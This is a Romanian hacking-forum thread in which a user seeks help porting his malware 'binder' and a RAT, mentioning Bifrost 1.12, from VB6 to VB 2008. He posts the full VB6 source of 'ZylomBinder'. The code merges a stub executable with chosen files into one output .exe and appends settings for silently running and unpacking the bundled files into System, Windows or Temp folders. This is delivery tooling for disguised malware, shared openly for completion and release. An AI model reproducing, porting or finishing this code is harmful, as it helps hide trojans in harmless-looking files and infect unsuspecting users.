yakuZza22 Posted April 11, 2008 Report Posted April 11, 2008 Cum pot transforma din un cod sursa din vb 6 la cel de 2008 ...pt ca vad ca imi da multe erori...cand se fac unele schimbari.....imi mai trebuie ceva in plus???..decat ce are vb 2008....plz help....vreau sa imi lansez shi eu niste chestii aici....shi imi face numai problemeAsta e un binder la care lucrez....incerc multe pe el.....e facut de mine...shi folosesc multe "imprumutate" din themida shi de la alte bindere...cu el am eu problemeSi asta e RATu pe care ....incerc sa it termin...dar tot dau de probleme...dar o sa il rezolv eu....eu zic ca o sa iasa unu chiar misto...o sa vedeti Quote
Vhaerun Posted April 11, 2008 Report Posted April 11, 2008 de ce nu pui asa cum il ai acum ? si daca reusesti conversia , pui un nou release ( sa ii zicem asa ) Quote
Nytro Posted April 12, 2008 Report Posted April 12, 2008 E simplu de facut conversia . Dar daca ai API-uri e posibil sa ai niste probleme cu ele ... Quote
yakuZza22 Posted April 12, 2008 Author Report Posted April 12, 2008 pai vezi tu ....uite un exemplu......isi shimba din visual basic 6 o comanda......iar in visual basic 2008 comanda respectiva nu o mai recunoaste...ini arata posibilitati de a schimba dar stiu ca nu sunt alea....shi faza e ca nu sunt nuci asa de avansat incat sa refac intregul cod sau sa schimb aceea comanda cu un intreg set de comenzi care sa ii tina locul ........un exemplu.....am incercat sa tranform codul sursa al lui Bifrost 1.12 din VB6 shi apar o groaza de in cel din 2008....apar o groaza de erori poate imi trebuiec power packuri diferite....poate alte baze de date...nu stiu Quote
Nytro Posted April 12, 2008 Report Posted April 12, 2008 Tu vrei sa iei din sursa din VB6 cu copy , paste in VB 08 si sa mearga . Daca tot nu faci tu , macar chinuie-te putin . Cum as putea sa te ajut ? Nu ai aratat nici un rand de cod ... Quote
yakuZza22 Posted April 12, 2008 Author Report Posted April 12, 2008 nu iau cu copy paste.....pur shi simplu schimb codurile si le modific pt vb 2008....dar unele nu sunt cele care ar trebui sau vb 2008 nu le recunoste uite exemplu Error 1 'ListView1' is not a member of 'ZylomBinDer.Zylom'.Me.Enabled = False Me.Cursor = System.Windows.Forms.Cursors.WaitCursor With Me.ListView1.Items.Add(CommonDialogOpen.FileName) 'UPGRADE_WARNING: Lower bound of collection Me.ListView1.ListItems.Add() has changed from 1 to 0. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="A3B628A0-A810-4AE2-BFA2-9E7A29EB9AD0"' 'UPGRADE_WARNING: CommonDialog property CommonDialog.FileTitle was upgraded to CommonDialog.FileName which has a new behavior. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="DFCDE711-9694-47D7-9C50-45A99CD8E91E"' If Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems.Count > 1 Then Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems(1).Text = CommonDialogOpen.FileName Else Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems.Insert(1, New System.Windows.Forms.ListViewItem.ListViewSubItem(Nothing, CommonDialogOpen.FileName)) End If 'UPGRADE_WARNING: Lower bound of collection Me.ListView1.ListItems.Add( , , CommonDialog.FileName) has changed from 1 to 0. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="A3B628A0-A810-4AE2-BFA2-9E7A29EB9AD0"' If Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems.Count > 2 Then Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems(2).Text = CStr(FileLen(CommonDialogOpen.FileName)) Else Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems.Insert(2, New System.Windows.Forms.ListViewItem.ListViewSubItem(Nothing, CStr(FileLen(CommonDialogOpen.FileName)))) End If 'UPGRADE_WARNING: Lower bound of collection Me.ListView1.ListItems.Add() has changed from 1 to 0. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="A3B628A0-A810-4AE2-BFA2-9E7A29EB9AD0"' If Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems.Count > 3 Then Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems(3).Text = "1" Else Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems.Insert(3, New System.Windows.Forms.ListViewItem.ListViewSubItem(Nothing, "1")) End If 'UPGRADE_WARNING: Lower bound of collection Me.ListView1.ListItems.Add() has changed from 1 to 0. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="A3B628A0-A810-4AE2-BFA2-9E7A29EB9AD0"' If Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems.Count > 4 Then Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems(4).Text = "T" Else Me.ListView1.Items.Add(CommonDialogOpen.FileName).SubItems.Insert(4, New System.Windows.Forms.ListViewItem.ListViewSubItem(Nothing, "T")) End If End With Quote
Nytro Posted April 12, 2008 Report Posted April 12, 2008 Pai nu prea stiu ce sa zic daca nu vad practic ... Dar controalele de obicei nu au acelasi nume , numele metodelor si a proprietatilor nu sunt mereu la fel ... Da-mi o sursa mica din VB 6 si ti-o translatez in VB 9 ... Quote
yakuZza22 Posted April 14, 2008 Author Report Posted April 14, 2008 uite sursa poti sa faci ceva?Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "MSCOMCTL.OCX"Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"Begin VB.Form Form1 BorderStyle = 1 'Fixed Single ClientHeight = 6465 ClientLeft = 45 ClientTop = 330 ClientWidth = 9990 Icon = "Binder-Form1.frx":0000 LinkTopic = "Form1" MaxButton = 0 'False MinButton = 0 'False ScaleHeight = 6465 ScaleWidth = 9990 StartUpPosition = 2 'CenterScreen Begin VB.Frame Frame2 Height = 3255 Left = 240 TabIndex = 13 Top = 240 Width = 7335 Begin VB.CommandButton Command4 Caption = "OK" Height = 255 Left = 3000 TabIndex = 14 Top = 1800 Width = 1335 End Begin VB.Label Label4 BeginProperty Font Name = "Courier New" Size = 18 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty ForeColor = &H00800000& Height = 375 Left = 360 TabIndex = 16 Top = 1200 Width = 2655 End Begin VB.Label Label3 Alignment = 2 'Center BackStyle = 0 'Transparent BeginProperty Font Name = "Courier New" Size = 42 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty ForeColor = &H00800000& Height = 975 Left = 0 TabIndex = 15 Top = 360 Width = 7335 End End Begin VB.Frame Frame1 Height = 1335 Left = 240 TabIndex = 3 Top = 3960 Width = 7095 Begin VB.CommandButton Command3 Caption = "Update" Height = 255 Left = 1920 TabIndex = 12 Top = 1680 Visible = 0 'False Width = 1455 End Begin VB.TextBox Text1 Height = 285 Left = 2280 TabIndex = 10 Text = "Stub.exe" Top = 360 Width = 2175 End Begin VB.OptionButton Option4 Caption = "App Path" Height = 255 Left = 5520 TabIndex = 9 Top = 840 Width = 975 End Begin VB.OptionButton Option3 Caption = "Temp" Height = 255 Left = 4440 TabIndex = 7 Top = 840 Width = 975 End Begin VB.OptionButton Option2 Caption = "Windows" Height = 255 Left = 3360 TabIndex = 6 Top = 840 Width = 975 End Begin VB.OptionButton Option1 Caption = "System" Height = 255 Left = 2280 TabIndex = 5 Top = 840 Width = 975 End Begin VB.CheckBox Check1 Caption = "Run File After Install" Height = 255 Left = 4800 TabIndex = 4 Top = 360 Width = 1815 End Begin VB.Label Label1 Caption = "FileName After Run :" Height = 255 Left = 600 TabIndex = 11 Top = 360 Width = 1575 End Begin VB.Label Label2 Caption = "Unpack Where :" Height = 255 Left = 600 TabIndex = 8 Top = 840 Width = 1215 End End Begin VB.CommandButton CmdBind Caption = "Bind" Height = 255 Left = 5880 TabIndex = 2 Top = 3600 Width = 1455 End Begin VB.CommandButton CmdAddFile Caption = "Add File" Height = 255 Left = 240 TabIndex = 1 Top = 3600 Width = 1455 End Begin MSComctlLib.ListView ListView1 Height = 3255 Left = 240 TabIndex = 0 Top = 240 Width = 7095 _ExtentX = 12515 _ExtentY = 5741 LabelEdit = 1 LabelWrap = -1 'True HideSelection = -1 'True FullRowSelect = -1 'True _Version = 393217 ForeColor = -2147483640 BackColor = -2147483643 BorderStyle = 1 Appearance = 1 NumItems = 0 End Begin MSComDlg.CommonDialog CommonDialog Left = 3720 Top = 1680 _ExtentX = 847 _ExtentY = 847 _Version = 393216 CancelError = -1 'True DefaultExt = "*.pak" DialogTitle = "Open PAK" Filter = "PAK File (*.pak)|*.pak" Flags = 38930 End Begin VB.Menu Menu_Item Caption = "Item" Visible = 0 'False Begin VB.Menu Menu_Remove Caption = "Remove this File" End EndEndAttribute VB_Name = "Form1"Attribute VB_GlobalNameSpace = FalseAttribute VB_Creatable = FalseAttribute VB_PredeclaredId = TrueAttribute VB_Exposed = FalseOption ExplicitPrivate Const BinderName As String = "ZylomBinder"Private Const BinderVersion As String = "1.0"Private bGet As BooleanPrivate bSet As BooleanPrivate Sub CmdAddFile_Click()On Error GoTo AddFileError CommonDialog.Flags = &H1000 + &H4 + &H8 + &H800 CommonDialog.DialogTitle = "Add files to Bind" CommonDialog.Filter = "All files (*.*)|*.*" CommonDialog.DefaultExt = Empty CommonDialog.ShowOpen Me.Enabled = False Me.MousePointer = 11 With Me.ListView1.ListItems.Add(, , CommonDialog.FileName) .SubItems(1) = CommonDialog.FileTitle .SubItems(2) = FileLen(CommonDialog.FileName) .SubItems(3) = "1" .SubItems(4) = "T" End WithAddFileError: Me.MousePointer = 0 Me.Enabled = TrueEnd SubPrivate Sub CmdBind_Click()On Error GoTo BindErrorDim v1 As Long CommonDialog.Flags = &H400 + &H4 + &H8 + &H2 + &H800 CommonDialog.DialogTitle = "Save Binded file" CommonDialog.Filter = "Exe File (*.exe)|*.exe" CommonDialog.DefaultExt = ".exe" CommonDialog.ShowSave If (CommonDialog.FileName = Empty) Then Exit Sub End If If FileExist(CommonDialog.FileName) = True Then Kill CommonDialog.FileName Call BindFiles(CommonDialog.FileName) MsgBox CommonDialog.FileName & vbCrLf & "was build OK", vbOKOnly + vbInformation, "Done"BindError:End SubPrivate Sub SetSettings()Dim v1 As Integer If bGet = True Then Exit Sub bSet = True v1 = Me.ListView1.SelectedItem.Index Me.ListView1.ListItems.Item(v1).SubItems(1) = Me.Text1.Text If Me.Check1.Value = 1 Then Me.ListView1.ListItems.Item(v1).SubItems(3) = "1" Else Me.ListView1.ListItems.Item(v1).SubItems(3) = "0" End If If Me.Option4.Value = True Then Me.ListView1.ListItems.Item(v1).SubItems(4) = "A" If Me.Option3.Value = True Then Me.ListView1.ListItems.Item(v1).SubItems(4) = "T" If Me.Option2.Value = True Then Me.ListView1.ListItems.Item(v1).SubItems(4) = "W" If Me.Option1.Value = True Then Me.ListView1.ListItems.Item(v1).SubItems(4) = "S" bSet = FalseEnd SubPrivate Sub GetSettings() If bSet = True Then Exit Sub bGet = True Me.Text1.Text = Me.ListView1.SelectedItem.SubItems(1) If Me.ListView1.SelectedItem.SubItems(3) = "1" Then Me.Check1.Value = 1 Else Me.Check1.Value = 0 End If If UCase(Me.ListView1.SelectedItem.SubItems(4)) = "A" Then Me.Option4.Value = True If UCase(Me.ListView1.SelectedItem.SubItems(4)) = "T" Then Me.Option3.Value = True If UCase(Me.ListView1.SelectedItem.SubItems(4)) = "W" Then Me.Option2.Value = True If UCase(Me.ListView1.SelectedItem.SubItems(4)) = "S" Then Me.Option1.Value = True bGet = FalseEnd SubPrivate Sub Command4_Click() Me.Frame2.Visible = False Me.Height = 5865 Me.Width = 7695 Me.ListView1.Visible = TrueEnd SubPrivate Sub Form_Load()On Error GoTo LoadErrorDim StubSize As LongDim StubPath As String Me.ListView1.Visible = False Me.Width = 7695 Me.Height = 2955 Me.Frame2.Height = 2295 Me.Frame2.Width = 7335 Me.Frame2.Top = 120 Me.Frame2.Left = 120 Me.Label3.Caption = BinderName Me.Label4.Caption = "Version " & BinderVersion ListView1.View = lvwReport With ListView1.ColumnHeaders .Add , , "FilePath", 4000 .Add , , "FileName", 1500 .Add , , "FileSize", 1500 .Add , , "Run File", 1500 .Add , , "Unpack Where", 1500 End With Me.ListView1.GridLines = True StubPath = App.Path & "\stub.exe" StubSize = FileLen(StubPath) With Me.ListView1.ListItems.Add(, , StubPath) .SubItems(1) = "Stub.exe" .SubItems(2) = FileLen(StubPath) .SubItems(3) = "1" .SubItems(4) = "A" End With Me.Caption = BinderName & "-v" & BinderVersion & " StubSize = " & StubSizeExit SubLoadError: MsgBox Err.Description, vbCritical + vbOKOnly, "Error" Err.Clear EndEnd SubPrivate Sub BindFiles(BindFile As String)Dim v1 As LongDim v2 As LongDim v3 As LongDim Str1 As StringDim Data() As Byte v2 = 1 For v1 = 1 To Me.ListView1.ListItems.Count v3 = FileLen(Me.ListView1.ListItems.Item(v1)) ReDim Data(v3 - 1) Open Me.ListView1.ListItems.Item(v1) For Binary Access Read As #1 Get #1, , Data() Close #1 Open BindFile For Binary As #1 Put #1, v2, Data() Close #1 v2 = v2 + v3 DoEvents Next v1 For v1 = 1 To Me.ListView1.ListItems.Count Str1 = Str1 & Me.ListView1.ListItems.Item(v1).SubItems(1) & "|" & Me.ListView1.ListItems.Item(v1).SubItems(2) & "|" & Me.ListView1.ListItems.Item(v1).SubItems(3) & "|" & Me.ListView1.ListItems.Item(v1).SubItems(4) & "|" Next v1 Open BindFile For Binary As #3 Put #3, LOF(3) + 1, "<>" & Str1 & "</>" Close #3End SubPrivate Sub ListView1_Click() Call GetSettingsEnd SubPrivate Sub ListView1_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single) If Me.ListView1.ListItems.Count > 0 Then If Button = 2 Then PopupMenu Menu_Item End IfEnd SubPrivate Sub Menu_Remove_Click()Dim v1 As Integer v1 = Me.ListView1.SelectedItem.Index If v1 > 1 Then Me.ListView1.ListItems.Remove (v1) End IfEnd SubPrivate Function FileExist(FileName As String) As Boolean If Dir(FileName) <> Empty Then FileExist = True Else FileExist = False End IfEnd FunctionPrivate Sub Option1_Click() Call SetSettingsEnd SubPrivate Sub Option2_Click() Call SetSettingsEnd SubPrivate Sub Option3_Click() Call SetSettingsEnd SubPrivate Sub Option4_Click() Call SetSettingsEnd SubPrivate Sub Check1_Click() Call SetSettingsEnd SubPrivate Sub Text1_Change() Call SetSettingsEnd Sub Quote